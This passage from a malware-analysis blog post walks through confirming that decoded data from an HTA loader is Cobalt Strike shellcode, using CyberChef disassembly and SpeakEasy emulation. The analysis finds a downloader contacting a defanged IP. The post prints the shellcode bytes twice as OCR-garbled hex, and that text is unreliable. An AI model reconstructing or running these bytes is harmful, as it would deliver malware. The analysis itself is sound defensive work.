At this point, we need to validate our assumption that the decoded content is shellcode. At first glance it looks like
a blob of junk.

One common way is to look for plaintext values (ip's, API names) inside of shellcode, but this won't

help us here. We'll need to do additional analysis

Output BO®::

ee%Y " «310d=R@=R" ¢R%or( - J&LY1A=<a| ™, AL+“CEBRW*R*B<"De@xeAtI"DPoH% X “03<Ied+"01y1A-AL*"C82UG" }¢; JEUAX
X$'OfF e "Ke X" 00" o "DeDSS[ [aYZQYaX_Zo"w8e Jh32% Whws2_ThLw& O « W% )ATPh) « k" yOPPPP@P@Ph&* Baj0e« jh301®h" W un 2 Vih
e¥tayde At NuuihBugvyO i VihUE_ybe63@h% " \Vi\hXHSayGeS VWSWhUE_yO"A)Ee5uil
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Using CyberChef, we can validate our theory that the content is shellcode by attempting to disassemble the bytes.
To do this, we need to convert the values to hex and then use the Disassemble x86 operation of CyberChef.

[ Recipe om B Input +DOs)e =

Bb,08x72,8x28, 0x0F,0xb7, Bxda, Bx26,8x31, BxFF, 8x31,8xc0, Oxac, Bx3c, Bx61,0x7¢, 0502, Bx2¢, 0528, Oxcl, OxcF, Bx0d, 0x01 ~

S n
Fram Hex - ,BxCT, Bxe2,BxF8, Bx52,0x57, Bxab, Bx52, 8x18, OxBb, Ox42, Bx3c, BxB1, Bxd, Bx8b, Bxd®, Bx 78, AxB5, Bxcd, Bx74, Bxda, BxB1, 8
it %d@,8x58, @xBb, Bx48, w18, 8x8b , Bx5E, 8x20, OxB1, 0xd3 , Bxe3 , Bx3c, Bx49, Bx8b, Bx34, BxEb , Bx01 , BudS, Bx31,0xFF, Bx31, Bxe
Ristd ,@xac, @xcl, @xcf,8x0d, 0x01, 0xc7, 0x38, Oxed, x75, 0xF4 , 0x03,0x7d, 0xF8, 0x3b, Bx7d, 8x24, 0575, Bxe 2, 058, BxBb, 8x58,

©x24,8x01,8xd3, %66, Bx8b, OxBC, 0xdb, @x8b, Bx58, Bx1¢,Bx01, Bxd3, BxEb, 084, 8x8b, D01, Bxd8, BX89, Ox44, %24, 0%24, 0%
Sb,@x5h, Bx61, 859, 0x54, 8451, BxFF, Bxed, BxSE, BxSF, Bu5a, 0xBb, 8112, Bxeb, 0xB86, 0x5d, Ox68, Bx33, 0x32, 0400, 0400, 0x68

To Hex E I, ex77,8x73,8x32, 8x5F,8x54,0x68, Bxdc, Bx77,8x26, 8x87, OxFF, Bxd5, BxbB, Bx98, Bx01, BxB8, Bx8B, Bx29,0xc4, Bx54, 8x50,8
68 ,8x29,0x80 , Bx6b, 0400, BxFF, Bxd5, 0X50,8x58, x50, Bx59, x40, Bx50, Bx48, x50, 0x68, Bxea, OxOF, BxdF , Bxed, OxFF Bxd

limiter Bytes por line 5,8x97, @x6a, 0x85, Bx68, 0x33,8x4F, Bx31, Oxae, @x68, 0x82, 8x08, Bx01, Oxbb, 8x89, Oxe6, Ox6a, 0x18, 0x56, 8557, 0x68, 0x99,
Space @ e ©xas,@x74,8x61,0%Ff, 0xdS , %85, @xc@, 0% 74, Ox0¢ , OxFF, 0xde, BXO8, 0X75,0xec,Ox68, @xFR, Bxb5, 0Xa2, OXS6,0nff,@xdS, %
6a,0x80, 8460, Bx04, 0X56 , Bx57, ON68, 8102, BxdD, Bxe8, BuSF, OxFF, BxdS, OxBb, 036, Bx6a, x40, Bx6E, 0300, 0x10, 8100, 0300

S © || »8%56,8x6a,6x0@,@x68,x58,0xa4, 8x53, Bxe5, BxFT, GxdS, 8x93,0x53, 063, 800, BX56 , 8x53, 0X57,0x68, 0202, 8xd9, BxCE, B

*5F , @xFF, 0005 , BXO1, Bxc 3, Bx29, BXCE, BXBS, BXFE, BX75, Bxec, Buc3 ©
Bit mads Comatibility Code Seament (CS = laaz =) Ti S futes £ LF
32 Full x86 architec... 16 s
Output Bo0om ¢
Offset
[ B Show instruction hex 60000200 FC cLos
08200201 E383020000 CALL -FFFFFE71%
23808886 68 PUSHA ™
Show instruction position 28000007 BIES MOV EBP,ESP
00800009 3102 XOR EDX,EDX*
64885230 MOV EDX,DWORD PTR FS:[EDX+38]%
©820820F §B520C MOV EDX,DWORD PTR [EDX+8C]
BBEBER12 BB5214 MOV EDX,DWORD PTR [EDX+14]%
©6EDAR15 BB7228 MOV ESI,DWORD PTR [EDX+28]%
©OEDOBLE OFETHAZE MOVZX ECX,WORD PTR [EDX+26]"
: : ©82081C 31FF DR EDI,EDI%
Disassembled shellcode viewed in CyberChef. oeapoaIE 31c0 NO B ERKS
68808828 AC LODS AL,BYTE PTR [ESI]®
©82PAR21 3C61 TP AL, E1%
0020023 TCE2 IL 0e000R27"
Pageaa2s 2020 SUB AL,20%
Y| ooeose27 cicFep ROR EDI, B0
©880AR2A B1CT 4DD EDT, EAX*
W Auto Bake PRRRAA2C E2FR LOOP @RRRRalE.
1296 = 3 D2ims TFe Sow sutac ot I

Here we can see that the bytes have successfully disassembled, we can primarily tell this since there are.

e no glaring red sections indicating a failed disassembly

e (LD - (Clear Direction) - Which is common first command executed by shellcode.

There are some other indicators like an early call operationanda ror @D operation which are common to
Cobalt Strike shellcode. These are patterns that are strange but become easily recognizable after you've seen a few

shellcode examples.

For now, we can assume with higher confidence that the data is shellcode and do further validation by attempting

to execute it.

At this point you could continue to analyse the disassembled bytes for signs of something "interesting",
but this is generally difficult and requires some familiarity with x86 instructions. It is often much easier

to try and execute the code. Especially for larger shellcode samples.

Validating ShellCode By Executing Inside an Emulator

To further validate that the data is shellcode and attempt to determine its functionality, we can save it to a file and

try to run it inside an emulator or debugger.

In this case, we will be using the SpeakEasy tool from FireEye. You can read about SpeakEasy here and
Download it from GitHub

Before running SpeakEasy, we can first download the raw bytes of our suspected shellcode. (make sure to remove

the to hex and disassemble x86 operations)

Page 7 of 9


https://www.csnp.org/post/cyberchef-data-decoding-made-easy?ref=embeeresearch.io
https://c9x.me/x86/html/file_module_x86_id_29.html?ref=embeeresearch.io
https://www.mandiant.com/resources/blog/emulation-of-malicious-shellcode-with-speakeasy?ref=embeeresearch.io
https://www.mandiant.com/resources/blog/emulation-of-malicious-shellcode-with-speakeasy?ref=embeeresearch.io
https://github.com/mandiant/speakeasy?ref=embeeresearch.io

Recipe

From Hex

Auto
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B nput + O30 =

8b,@x72,0x28, Ox0F,0xb7 , @xda, 0x26,0x31, 0xFF, 831, BxCO, Oxac,@x3c, 861, BxTC, 0x02, Ox2c, 0x20, 8xcl, @xcf  Oxed, oxe1 "
,Bxe7,Bxe2,BxFD, Bx52,8x57,0xBb, 8x52,8x10, BxBb, Bx42, Bx3c, Ox@1, Bxdd, BxEb , Bx4@, %78, Bx85 , Oxcd,Bx74, Ox4a,Bx01, B
xd@, Bx5@, Bx8b, Bx48 , Bx18,BxBb, Bx58, Bx20, 8x81, Bxd3, Bxe3, Bxic, Oxa3, BxBb, Bu3d, OxEh, Bx81, Bxd6, Bx31,8xff, Bx31, Bxc
@,0xac, Bxcl, OxcF,@x0d, Bx01,0xc7, 0x38, Oxed,Bx75, Bxfd,0x03 ,0x7d, BxFE,0x3b, @x7d, 0x24,0x75, Bxel, Ox58,0x8b, 058,
8x24,0x81, Bxd3, 8466, Bx8b, BxB¢c ,Bxdb, BxBb, BXSE, Bxle, %01, 8xd3,0x8b, 0404, 0xBb, BxB1, BxdD, 0x89, Ox4d , 024, Bx24, B
5b, BxSb, Bx61, 8x59, x5, 8x51, Bxff,Oxed, Bx5E, Ox5F, Bx5a, GxEb,8x12, Bxeb, OxB6, BxSd, Bx68, Bx33,0x32, Bx00, Bx00, Ox68
,@X77,0x73,0x32,@x5F, 054, 0X68, @xac,0x77, @x 26, 0xOT , OxfF, OxdS, OxbE, 0290, 0x01, 000, 0x00, 2x29, 0K, BX54,0x50,0
68, 8x20,8x80 , DxGb, BxB0, BxFf, BxdS, Bx50,0x50, Bx50,Bx50, 0x40, 8x50, 8x40, Bx50, BxE8, Bxea, BXOF, Bxdf, Bxed, BxFF , Oxd

5,0x97,Bx6a, 8x85,8x68 , Bx33,0xaf ,Bx31, Oxae, Bx68 , Ox2,8x00, BxA1, Bxbh, BxB9, Bxes, Bx6a,8x10, 8x56,08x57, 068, 8x99,
©xa5,0x74, 0561, @xFf, Dxd5, BxES,BxC, 0%74, BxBc, 0xFF, Bxde, Bx08, 0% 75, Bxec, 0x68,8xF0, @xbS,0xa2, BX5E, OxFF, BxdS, Ox
£a,@x00, BxGa, Bx84, 8x56, 8257, Bx6E,0x82 , 0xdD, Bxcd, Bx5E, OxFF, Bxd5, x8b, Bx36, Bx5a, 0248, Bx6E, 0x00, 8110, Bx88, 0x00
,8X56,8x6a,0x00, BX68, 0x58,0xad, Ox53,8xe5, BxTf, 0xd5,0x93, 0x53, 0x6a, Bx00, Ox56,0x53,8x57, Ox68,0x02 , 0xd3,BxcH, B
x5F, 0xFF,BxdE , Bx01, Bxc 3, BX29, 06, 8485, 0xF6, 8x 75, Bxec , 0xc3

]
[A 2

Tr Y
Output . —— B ] m
Gie "N «810d=RBR" oRNer AtINDPeH e X “O8<I+4+%0171A-AT 4 CBaLE" }4; }SudXe
XEBF e ke X GearDaDES | [o TPh) =k jOPPPPEPEPhE~ BajBs 3301 8h " ' s Viih

s Bt VFO T VWh U0« 83@nN W hXRSaiDe S5 Vs

«¥tajlehte N _pinA) A BuiA

UE

You can name the file anything you like, we have named it shellcode.bin

Date modifi

2cb83d112d528bb3dfaa7ee0140eebcd960fedf... 023 3:40 AN HTML Ap
3d112d528b63dfaa7ee0140eebcd960fedf... 9/ 023 8:40 PNV 7zFM.exe file
. shellcode.bin

BIN File

From here, a command prompt can be opened at the SpeakEasy tool executed with the following commands.

e -t - Target file to emulate

e -r -Tells SpeakEasy that the file is shellcode

e -a x86 - Tells SpeakEasy to assume x86 instructions. (This will almost always be x86 or x64 . If

either fails, try the other one)

FLARE Thu 159/10/2023 23:46:27.91

C:\Users\Lenny\Desktop\malware\cobalt_hta>speakeasy -t shellcode.bin -r -a x86,

Hitting enter, SpeakEasy is successfully able to emulate the code. We can see that numerous API calls were made

in an attempt to download something from 51.79.49[.]174:443

Unhandled interrupt: intnum=ex
hellcode: Caught error: unhandled_interrupt
* Finished emulating

FLARE Thu 19/18/202:
. Desktop\malware\cobalt_hta>

Conclusion
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At this point, it would be safe to assume that the primary purpose of the entire script and shellcode is to act as a

downloader.

At this point, we would investigate connections to that IP address and identify if anything was successfully
downloaded and executed. You could also investigate any recent malware alerts for Cobalt Strike, or perform

some hunting on the initial execution of .hta (mshta.exe parent process) to powershell.exe (child process).

Sign up for Embee Research

Malware Analysis Insights

No spam. Unsubscribe anytime.

Source: https://embee-research.ghost.io/malware-analysis-decoding-a-simple-hta-loader/
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